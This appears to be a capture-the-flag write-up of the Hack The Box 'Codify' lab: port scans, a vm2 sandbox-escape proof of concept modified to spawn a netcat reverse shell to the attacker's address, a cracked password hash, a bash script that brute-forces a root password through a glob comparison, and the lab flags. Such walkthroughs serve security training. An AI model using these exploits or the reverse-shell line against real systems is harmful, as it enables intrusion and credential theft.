Home HTB Codify Writeup
Post
Cancel

HTB Codify Writeup

Overview

Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box. Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user’s password, leading to privileged access to the machine.

Codify.png

Name - Codify

IP - 10.10.11.239

Difficulty - Easy

OS - Linux

Points - 20

Information Gathering

Port Scan

Basic Scan

1
2
3
4
5
6
7
8
9
10
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-28 22:13 +06
Nmap scan report for 10.10.11.239
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 3.00 seconds

Version Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-28 22:13 +06
Nmap scan report for 10.10.11.239
Host is up (0.053s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.60 seconds

HTTP Enumeration

There are two ports open with HTTP servers. Let’s first check port 80

Looks like it can run nodejs code. Initially I tried with normal payload and it was not working. Then I found the following article https://security.snyk.io/vuln/SNYK-JS-VM2-5537100

The article features CVE-2023-32314

Also I got a PoC and that PoC worked.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

Now I changed the PoC a little bit to get a reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.118 9001 >/tmp/f").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

The code worked and I got a reverse shell.

Getting user.txt

From that svc user, I found a database file in /var/www/contact/tickets.db

The database contains the password hash of the user joshua - $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

Hashcat was able to crack it after some time.

Pass - spongebob1

Using that pass, I was able to get the user flag - 426a34f735a00f1c9ee9557d7b70a8bd

Getting root.txt

The user joshua has the privilege of running the script (/opt/scripts/mysql-backup.sh) as root user.

The file contains the following code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

Now this is using bash pattern comparison if [[ $DB_PASS == $USER_PASS ]] and the User_PASS field is in our control. So, we can use * to brute force the password. I write the following script to make the life easy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash

COMMAND="sudo -u root /opt/scripts/mysql-backup.sh"
PRE=""

# Loop through the script multiple times
for attempt in {1..40}; do
    echo "Attempt $attempt:"
    valid_character=""

    # Loop through printable ASCII values (33-126)
    visited=0
    for ((i=33; i<=126; i++))
    do
        # Exclude specific characters '*', '\', and '?'
        if [ $i -eq 42 ] || [ $i -eq 92 ] || [ $i -eq 63 ]
        then
            continue
        else
            # Convert ASCII value to character
            input=$(printf "\\$(printf '%03o' $i)")
            input_with_star="$PRE$input*"
            # echo "Input: $input_with_star"

            # Execute the command with the current input
            result=$(echo -n "$input_with_star" | $COMMAND)
            
            # Check if result is not "Password confirmation failed!"
            if [[ "$result" != *"Password confirmation failed!"* ]]; then
                echo "Valid character found: $input"
                valid_character="$input"
                PRE="$PRE$input"
                visited=1
                break  # Exit the inner loop if a valid character is found
            fi
        fi
    done
    if [ $visited -eq 0 ]
    then
    echo "Password = $PRE"
    break
    fi
done

After running the code, I finally got the root password kljh12k3jhaskjh12kjh3

Using the password, I was able to get the root flag 85ba8ff1cec900c09438300d37f3078c

Flags

user.txt - 426a34f735a00f1c9ee9557d7b70a8bd

root.txt - 85ba8ff1cec900c09438300d37f3078c

This post is licensed under CC BY 4.0 by the author.